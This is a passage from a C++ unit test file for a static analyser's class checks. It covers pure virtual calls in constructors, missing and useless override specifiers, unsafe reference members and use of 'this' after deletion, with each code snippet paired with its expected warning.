typeid(S);\\n\"\n \"}\\n\"\n \"S::~S() = default;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct Base: { virtual void wibble() = 0; virtual ~Base() {} };\\n\" // #11167\n \"struct D final : public Base {\\n\"\n \" void wibble() override;\\n\"\n \" D() {}\\n\"\n \" virtual ~D() { wibble(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCall() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{pure();}\");\n ASSERT_EQUALS(\"[test.cpp:7:2] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual int pure()=0;\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::A():m(A::pure())\\n\"\n \"{}\");\n ASSERT_EQUALS(\"[test.cpp:7:13] -> [test.cpp:3:17]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"namespace N {\\n\"\n \" class A\\n\"\n \" {\\n\"\n \" virtual int pure() = 0;\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"N::A::A() : m(N::A::pure()) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:21] -> [test.cpp:4:19]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{pure();}\");\n ASSERT_EQUALS(\"[test.cpp:8:2] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure();}\");\n ASSERT_EQUALS(\"[test.cpp:9:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual int pure()=0;\\n\"\n \" int nonpure()\\n\"\n \" {return pure();}\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::A():m(nonpure())\\n\"\n \"{}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:9:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", \"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pure();}\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{nonpure();}\");\n ASSERT_EQUALS(\"[test.cpp:10:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A(bool b);\\n\"\n \"};\\n\"\n \"A::A(bool b)\\n\"\n \"{if (b) pure();}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{if (b) pure();}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n // #5831\n checkVirtualFunctionCall(\"class abc {\\n\"\n \"public:\\n\"\n \" virtual ~abc() throw() {}\\n\"\n \" virtual void def(void* g) throw () = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4992\n checkVirtualFunctionCall(\"class CMyClass {\\n\"\n \" std::function< void(void) > m_callback;\\n\"\n \"public:\\n\"\n \" CMyClass() {\\n\"\n \" m_callback = [this]() { return VirtualMethod(); };\\n\"\n \" }\\n\"\n \" virtual void VirtualMethod() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10559\n checkVirtualFunctionCall(\"struct S {\\n\"\n \" S(const int x) : m(std::bind(&S::f, this, x, 42)) {}\\n\"\n \" virtual int f(const int x, const int y) = 0;\\n\"\n \" std::function m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCallOtherClass() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A(const A & a);\\n\"\n \"};\\n\"\n \"A::A(const A & a)\\n\"\n \"{a.pure();}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"class B\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{B b; b.pure();}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCallWithBody() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pureWithBody()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{pureWithBody();}\\n\"\n \"void A::pureWithBody()\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pureWithBody()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pureWithBody();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure();}\\n\"\n \"void A::pureWithBody()\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void pureVirtualFunctionCallPrevented() {\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" { if (bCallPure) pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" { if (!bCallPure) ; else pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" {\\n\"\n \" switch (bCallPure) {\\n\"\n \" case true: pure(); break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkOverride(...) checkOverride_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOverride_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::style).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkOverride)();\n }\n\n void override1() {\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f(); };\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:37]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f() override; };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f() final; };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual auto foo( ) const -> size_t { return 1; }\\n\"\n \" virtual auto bar( ) const -> size_t { return 1; }\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public :\\n\"\n \" auto foo( ) const -> size_t { return 0; }\\n\"\n \" auto bar( ) const -> size_t override { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:8:10]: (style) The function 'foo' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"namespace Test {\\n\"\n \" class C {\\n\"\n \" public:\\n\"\n \" virtual ~C();\\n\"\n \" };\\n\"\n \"}\\n\"\n \"class C : Test::C {\\n\"\n \"public:\\n\"\n \" ~C();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:18] -> [test.cpp:9:6]: (style) The destructor '~C' overrides a destructor in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct Base {\\n\"\n \" virtual void foo();\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct Derived: public Base {\\n\"\n \" void foo() override;\\n\"\n \" void foo(int);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct B {\\n\" // #9092\n \" virtual int f(int i) const = 0;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" struct D : B {\\n\"\n \" virtual int f(int i) const;\\n\"\n \" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:6:21]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char, int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char, double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c = '\\\\0', double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c = '\\\\0', int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::vector);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::set);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector v);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::vector w = {});\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", \"\", errout_str());\n\n checkOverride(\"struct T {};\\n\" // #10920\n \"struct B {\\n\"\n \" virtual T f() = 0;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" friend T f();\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct S {};\\n\" // #11827\n \"struct SPtr {\\n\"\n \" virtual S* operator->() const { return p; }\\n\"\n \" S* p = nullptr;\\n\"\n \"};\\n\"\n \"struct T : public S {};\\n\"\n \"struct TPtr : public SPtr {\\n\"\n \" T* operator->() const { return (T*)p; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:8:8]: (style) The function 'operator->' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\",\n errout_str());\n\n checkOverride(\"class Base {\\n\" // #12131\n \" virtual int Calculate(int arg) = 0;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \" int Calculate(int arg = 0) {\\n\"\n \" return arg * 2;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:5:9]: (style) The function 'Calculate' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct S {\\n\" // #12439\n \" virtual ~S() = default;\\n\"\n \"};\\n\"\n \"struct D : S {\\n\"\n \" ~D() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14] -> [test.cpp:5:6]: (style) The destructor '~D' overrides a destructor in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\",\n errout_str());\n }\n\n void overrideCVRefQualifiers() {\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() const; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() volatile; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() &; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() &&; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n #define checkUselessOverride(...) checkUselessOverride_(__FILE__, __LINE__, __VA_ARGS__)\n void checkUselessOverride_(const char* file, int line, const char code[]) {\n const Settings settings = settingsBuilder().severity(Severity::style).build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkUselessOverride)();\n }\n\n void uselessOverride() {\n checkUselessOverride(\"struct B { virtual int f() { return 5; } };\\n\" // #11757\n \"struct D : B {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:24] -> [test.cpp:3:9]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(); };\\n\"\n \"struct D : B {\\n\"\n \" void f() override { B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:25] -> [test.cpp:3:10]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f() = 0; };\\n\"\n \"int B::f() { return 5; }\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i) override { return B::f(i); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:24] -> [test.cpp:3:9]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i) override { return B::f(i + 1); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i, int j); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i, int j) override { return B::f(j, i); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(); };\\n\"\n \"struct I { virtual int f() = 0; };\\n\"\n \"struct D : B, I {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct S { virtual void f(); };\\n\"\n \"struct D : S {\\n\"\n \" void f() final { S::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct S {\\n\"\n \"protected:\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : S {\\n\"\n \"public:\\n\"\n \" void f() override { S::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(int, int, int) const; };\\n\" // #11799\n \"struct D : B {\\n\"\n \" int m = 42;\\n\"\n \" void f(int a, int b, int c) const override;\\n\"\n \"};\\n\"\n \"void D::f(int a, int b, int c) const {\\n\"\n \" B::f(a, b, m);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #11803\n \" virtual void f();\\n\"\n \" virtual void f(int i);\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { B::f(); }\\n\"\n \" void f(int i) override;\\n\"\n \" void g() { f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(); };\\n\" // #11808\n \"struct D : B { void f() override {} };\\n\"\n \"struct D2 : D {\\n\"\n \" void f() override {\\n\"\n \" B::f();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" virtual int f() { return 1; }\\n\"\n \" virtual int g() { return 7; }\\n\"\n \" virtual int h(int i, int j) { return i + j; }\\n\"\n \" virtual int j(int i, int j) { return i + j; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return 2; }\\n\"\n \" int g() override { return 7; }\\n\"\n \" int h(int j, int i) override { return i + j; }\\n\"\n \" int j(int i, int j) override { return i + j; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:9:9]: (style) The function 'g' overrides a function in a base class but is identical to the overridden function [uselessOverride]\\n\"\n \"[test.cpp:5:17] -> [test.cpp:11:9]: (style) The function 'j' overrides a function in a base class but is identical to the overridden function [uselessOverride]\\n\",\n errout_str());\n\n checkUselessOverride(\"struct B : std::exception {\\n\"\n \" virtual void f() { throw *this; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { throw *this; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"#define MACRO virtual void f() {}\\n\"\n \"struct B {\\n\"\n \" MACRO\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" MACRO\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" B() = default;\\n\"\n \" explicit B(int i) : m(i) {}\\n\"\n \" int m{};\\n\"\n \" virtual int f() const { return m; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" explicit D(int i) : m(i) {}\\n\"\n \" int m{};\\n\"\n \" int f() const override { return m; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" int g() const;\\n\"\n \" virtual int f() const { return g(); }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g() const;\\n\"\n \" int f() const override { return g(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"#define MACRO 1\\n\"\n \"struct B { virtual int f() { return 1; } };\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return MACRO; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #12706\n \" virtual void f() { g(); }\\n\"\n \" void g() { std::cout << \\\"Base\\\\n\\\"; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { g(); }\\n\"\n \" virtual void g() { std::cout << \\\"Derived\\\\n\\\"; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #12946\n \" virtual int f() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return b.f(); }\\n\"\n \" B b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkUnsafeClassRefMember(...) checkUnsafeClassRefMember_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkUnsafeClassRefMember_(const char* file, int line, const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).build();\n settings.safeChecks.classes = true;\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkUnsafeClassRefMember)();\n }\n\n void unsafeClassRefMember() {\n checkUnsafeClassRefMember(\"class C { C(const std::string &s) : s(s) {} const std::string &s; };\");\n ASSERT_EQUALS(\"[test.cpp:1:37]: (warning) Unsafe class: The const reference member 'C::s' is initialized by a const reference constructor argument. You need to be careful about lifetime issues. [unsafeClassRefMember]\\n\", errout_str());\n }\n\n\n#define checkThisUseAfterFree(...) checkThisUseAfterFree_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkThisUseAfterFree_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n (checkClass.checkThisUseAfterFree)();\n }\n\n void thisUseAfterFree() {\n setMultiline();\n\n // Calling method..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete mInstance; hello(); }\\n\"\n \"private:\\n\"\n \" static C *mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:38]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:38]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { mInstance.reset(); hello(); }\\n\"\n \"private:\\n\"\n \" static std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:39]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:29]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:39]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { reset(); hello(); }\\n\"\n \"private:\\n\"\n \" static std::shared_ptr mInstance;\\n\"\n \" void hello();\\n\"\n \" void reset() { mInstance.reset(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:29]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:29]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:7:18]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:29]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Use member..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x = 123; }\\n\"\n \"private:\\n\"\n \" static C *self;\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:33]: warning: Using member 'x' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'self' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'self', invalidating 'this'\\n\"\n \"[test.cpp:3:33]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x[1] = 123; }\\n\"\n \"private:\\n\"\n \" static C *self;\\n\"\n \" std::map x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:33]: warning: Using member 'x' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'self' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'self', invalidating 'this'\\n\"\n \"[test.cpp:3:33]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Assign 'shared_from_this()' to non-static smart pointer\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void hold() { mInstance = shared_from_this(); }\\n\"\n \" void dostuff() { mInstance.reset(); hello(); }\\n\"\n \"private:\\n\"\n \" std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:39]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:6:22]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:4:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:4:39]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Avoid FP..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x = 123; }\\n\"\n \"private:\\n\"\n \" C *self;\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void hold() { mInstance = shared_from_this(); }\\n\"\n \" void dostuff() { if (x) { mInstance.reset(); return; } hello(); }\\n\"\n \"private:\\n\"\n \" std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const QString& path) : mPath( path ) {}\\n\"\n \"\\n\"\n \" static void initialize(const QString& path) {\\n\" // <- avoid fp in static method\n \" if (instanceSingleton)\\n\"\n \" delete instanceSingleton;\\n\"\n \" instanceSingleton = new C(path);\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" static C* instanceSingleton;\\n\"\n \"};\\n\"\n \"\\n\"\n \"C* C::instanceSingleton;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Avoid false positive when pointer is deleted in lambda\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void foo();\\n\"\n \" void set() { p = this; }\\n\"\n \" void dostuff() {}\\n\"\n \" C* p;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::foo() {\\n\"\n \" auto done = [this] () { delete p; };\\n\"\n \" dostuff();\\n\"\n \" done();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\" // #13311\n \"public:\\n\"\n \" static void init();\\n\"\n \"private:\\n\"\n \" C();\\n\"\n \" static C* self;\\n\"\n \" bool use;\\n\"\n \"};\\n\"\n \"C::C() { use = true; }\\n\"\n \"void C::init() {\\n\"\n \" if (self)\\n\"\n \" delete self;\\n\"\n \" self = new C();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void ctu(const std::vector &code) {\n Check &check = getCheck();\n\n // getFileInfo\n std::list fileInfo;\n for (const std::string& c: code) {\n const std::string filename = std::to_string(fileInfo.size()) + \".cpp\";\n SimpleTokenizer 